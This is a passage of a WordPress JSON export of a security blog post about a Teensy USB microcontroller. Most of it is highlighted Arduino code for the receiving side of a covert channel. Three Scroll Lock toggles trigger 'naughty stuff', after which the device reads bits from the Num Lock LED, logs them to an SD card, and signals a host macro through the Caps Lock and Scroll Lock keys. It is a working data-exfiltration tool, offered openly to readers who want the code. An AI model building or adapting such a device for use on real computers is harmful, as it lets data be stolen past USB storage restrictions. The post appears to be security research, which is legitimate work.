\/>149<br \/>150<br \/>151<br \/>152<br \/><\/div><\/td><td><div class=\"cpp codecolorer\"><span class=\"co2\">#include &lt;usb_private.h&gt;<\/span><br \/>\n<span class=\"co2\">#include &lt;usb_keyboard.h&gt;<\/span><br \/>\n<span class=\"co2\">#include &lt;SD.h&gt;<\/span><br \/>\n<br \/>\n<span class=\"kw4\">const<\/span> <span class=\"kw4\">int<\/span> ledPin <span class=\"sy1\">=<\/span> <span class=\"nu0\">11<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> leds <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> NumValue <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> ScrollValue <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> BeforeCapsValue <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> CurrentCapsValue <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> start_time <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> diff_time <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> end_time <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"kw4\">int<\/span> varScrl <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<br \/>\n<span class=\"co1\">\/\/CaptureData Setup<\/span><br \/>\n<span class=\"kw4\">const<\/span> <span class=\"kw4\">int<\/span> chipSelect <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\nboolean IsNumbOn<span class=\"br0\">&#40;<\/span><span class=\"kw4\">int<\/span> val<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span><span class=\"br0\">&#40;<\/span>val <span class=\"sy3\">&amp;<\/span> <span class=\"nu0\">1<\/span><span class=\"br0\">&#41;<\/span> <span class=\"sy1\">==<\/span> <span class=\"nu0\">1<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">return<\/span> <span class=\"kw2\">true<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span> <br \/>\n&nbsp; <span class=\"kw1\">else<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">return<\/span> <span class=\"kw2\">false<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\nboolean IsCapsOn<span class=\"br0\">&#40;<\/span><span class=\"kw4\">int<\/span> val<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span><span class=\"br0\">&#40;<\/span>val <span class=\"sy3\">&amp;<\/span> <span class=\"nu0\">2<\/span><span class=\"br0\">&#41;<\/span> <span class=\"sy1\">==<\/span> <span class=\"nu0\">2<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">return<\/span> <span class=\"kw2\">true<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span> <br \/>\n&nbsp; <span class=\"kw1\">else<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">return<\/span> <span class=\"kw2\">false<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"co1\">\/\/End of CaptureData Specific Setup<\/span><br \/>\n<br \/>\nboolean IsScrlOn<span class=\"br0\">&#40;<\/span><span class=\"kw4\">int<\/span> val<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp;<span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span><span class=\"br0\">&#40;<\/span> val <span class=\"sy3\">&amp;<\/span> <span class=\"nu0\">4<\/span><span class=\"br0\">&#41;<\/span> <span class=\"sy1\">==<\/span> <span class=\"nu0\">4<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp;<span class=\"kw1\">return<\/span> <span class=\"kw2\">true<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp;<span class=\"br0\">&#125;<\/span> <span class=\"kw1\">else<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp;<span class=\"kw1\">return<\/span> <span class=\"kw2\">false<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp;<span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\n<br \/>\n<span class=\"kw4\">void<\/span> setup<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; <span class=\"kw1\">for<\/span><span class=\"br0\">&#40;<\/span><span class=\"kw4\">int<\/span> i <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span> i <span class=\"sy1\">&lt;<\/span> <span class=\"nu0\">60<\/span><span class=\"sy4\">;<\/span> i<span class=\"sy2\">++<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; digitalWrite<span class=\"br0\">&#40;<\/span>ledPin, HIGH<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">50<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; digitalWrite<span class=\"br0\">&#40;<\/span>ledPin, LOW<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">50<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; Serial.<span class=\"me1\">begin<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">9600<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"co1\">\/\/ make sure that the default chip select pin is set to<\/span><br \/>\n&nbsp; <span class=\"co1\">\/\/ output, even if you don't use it:<\/span><br \/>\n&nbsp; pinMode<span class=\"br0\">&#40;<\/span>chipSelect,OUTPUT<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span> <span class=\"co1\">\/\/Put this in just in case something is going awry in A1.0<\/span><br \/>\n<br \/>\n&nbsp; <span class=\"co1\">\/\/ see if the card is present and can be initialized:<\/span><br \/>\n&nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span><span class=\"sy3\">!<\/span>SD.<span class=\"me1\">begin<\/span><span class=\"br0\">&#40;<\/span>chipSelect<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; Serial.<span class=\"me1\">println<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;Card failed, or not present&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co1\">\/\/ don't do anything more:<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">return<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; <br \/>\n&nbsp; Serial.<span class=\"me1\">println<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;Card Initialised.&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; File dataFile <span class=\"sy1\">=<\/span> SD.<span class=\"me1\">open<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;data001.txt&quot;<\/span>, FILE_WRITE<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>dataFile<span class=\"br0\">&#41;<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; dataFile.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;<span class=\"es1\">\\n<\/span><span class=\"es1\">\\r<\/span> NewDataSet&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;<span class=\"es1\">\\n<\/span> NewDataSet:&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; dataFile.<span class=\"me1\">close<\/span><span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span> <span class=\"kw1\">else<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;Setup: error opening datalog.txt<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; digitalWrite<span class=\"br0\">&#40;<\/span>ledPin, HIGH<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">99999999<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;End of setup <span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">500<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\n<br \/>\n<span class=\"kw4\">void<\/span> loop<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; start_time <span class=\"sy1\">=<\/span> millis<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;start: &quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span>start_time<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw1\">do<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; leds <span class=\"sy1\">=<\/span> keyboard_leds<span class=\"sy4\">;<\/span><br \/>\n&nbsp; <span class=\"co1\">\/\/ &nbsp; &nbsp;Serial.print(&quot;in loop\\n&quot;);<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>IsScrlOn<span class=\"br0\">&#40;<\/span>leds<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;detected scroll<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>varScrl <span class=\"sy1\">==<\/span> <span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;start_time <span class=\"sy1\">=<\/span> millis<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; varScrl <span class=\"sy1\">=<\/span> varScrl <span class=\"sy2\">+<\/span> <span class=\"nu0\">1<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; PressAndRelease<span class=\"br0\">&#40;<\/span>KEY_SCROLL_LOCK<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;toggled scroll<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>varScrl <span class=\"sy1\">&gt;<\/span> <span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; end_time <span class=\"sy1\">=<\/span> millis<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; diff_time <span class=\"sy1\">=<\/span> end_time <span class=\"sy2\">-<\/span> start_time<span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span>diff_time<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>diff_time <span class=\"sy1\">&lt;<\/span> <span class=\"nu0\">5000<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n<span class=\"co1\">\/\/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Serial.print(&quot;in time loop\\n&quot;);<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>varScrl <span class=\"sy1\">==<\/span> <span class=\"nu0\">3<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;doing naughty stuff<span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">750<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CaptureData<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/do naughty stuff<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;Finished&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">return<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">99999<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"co1\">\/\/ &nbsp; &nbsp; &nbsp; &nbsp;Serial.print(&quot;done or not doing naughty stuff\\n&quot;);<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>diff_time <span class=\"sy1\">&gt;<\/span> <span class=\"nu0\">5000<\/span><span class=\"br0\">&#41;<\/span> <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; varScrl <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">750<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"br0\">&#125;<\/span> <span class=\"kw1\">while<\/span> <span class=\"br0\">&#40;<\/span>varScrl <span class=\"sy1\">&lt;<\/span> <span class=\"nu0\">4<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;resetting everything, outside of while <span class=\"es1\">\\n<\/span>&quot;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; varScrl <span class=\"sy1\">=<\/span> <span class=\"nu0\">0<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\n<br \/>\n<span class=\"kw4\">void<\/span> PressAndRelease<span class=\"br0\">&#40;<\/span><span class=\"kw4\">int<\/span> KeyCode<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; Keyboard.<span class=\"me1\">set_key1<\/span><span class=\"br0\">&#40;<\/span>KeyCode<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; Keyboard.<span class=\"me1\">send_now<\/span><span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span> <span class=\"co1\">\/\/ send strokes<\/span><br \/>\n&nbsp; Keyboard.<span class=\"me1\">set_key1<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span> <span class=\"co1\">\/\/Needed to clear the keypress as otherwise the key will remain pressed forever.<\/span><br \/>\n&nbsp; Keyboard.<span class=\"me1\">send_now<\/span><span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span> <span class=\"co1\">\/\/ send strokes<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><br \/>\n<br \/>\n<span class=\"kw4\">void<\/span> CaptureData<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; <span class=\"kw1\">do<\/span><span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; leds <span class=\"sy1\">=<\/span> keyboard_leds<span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; NumValue <span class=\"sy1\">=<\/span> <span class=\"br0\">&#40;<\/span>leds <span class=\"sy3\">&amp;<\/span> <span class=\"nu0\">1<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n<br \/>\n&nbsp; &nbsp; <span class=\"kw1\">if<\/span> <span class=\"br0\">&#40;<\/span>IsScrlOn<span class=\"br0\">&#40;<\/span>leds<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#123;<\/span> <span class=\"co1\">\/\/teensy has control<\/span><br \/>\n&nbsp; &nbsp; &nbsp; File dataFile <span class=\"sy1\">=<\/span> SD.<span class=\"me1\">open<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;data001.txt&quot;<\/span>, FILE_WRITE<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; digitalWrite<span class=\"br0\">&#40;<\/span>ledPin,HIGH<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">50<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; dataFile.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span>NumValue<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; dataFile.<span class=\"me1\">close<\/span><span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/ print to the serial port too:<\/span><br \/>\n&nbsp; &nbsp; &nbsp; Serial.<span class=\"me1\">print<\/span><span class=\"br0\">&#40;<\/span>NumValue<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; digitalWrite<span class=\"br0\">&#40;<\/span>ledPin,LOW<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">50<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/Have read character... so clear control key.<\/span><br \/>\n&nbsp; &nbsp; &nbsp; PressAndRelease<span class=\"br0\">&#40;<\/span>KEY_SCROLL_LOCK<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; delay<span class=\"br0\">&#40;<\/span><span class=\"nu0\">500<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/Hand control back to the macro<\/span><br \/>\n&nbsp; &nbsp; &nbsp; PressAndRelease<span class=\"br0\">&#40;<\/span>KEY_CAPS_LOCK<span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; <span class=\"br0\">&#125;<\/span><span class=\"kw1\">while<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">1<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy4\">;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>And this is how the data flows.<br \/>\n<a href=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/04\/data_flow.png\"><img loading=\"lazy\" src=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/04\/data_flow-300x188.png\" alt=\"data flow\" width=\"300\" height=\"188\" class=\"aligncenter size-medium wp-image-1035\" srcset=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/04\/data_flow-300x188.png 300w, https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/04\/data_flow-1024x642.png 1024w, https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/04\/data_flow.png 1134w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><b>UPDATE<\/b>: Finally we&#8217;ve managed to get a Picture in Picture put together.<br \/>\n<iframe loading=\"lazy\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/BkNb_LQt9FU?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For those that can&#8217;t be bothered to read this post and just want the code, please see here. So myself and Rich Hicks finally got around to talking about the work we had done with the Teensy. An ATMega, USB-based Microcontroller sold by pjrc.com I started work on this back in 2011 but didn&#8217;t take [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1037,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[371,94,369,370,309,97,372,368,93,101],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1029"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=1029"}],"version-history":[{"count":12,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1029\/revisions"}],"predecessor-version":[{"id":1046,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1029\/revisions\/1046"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media\/1037"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=1029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=1029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=1029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}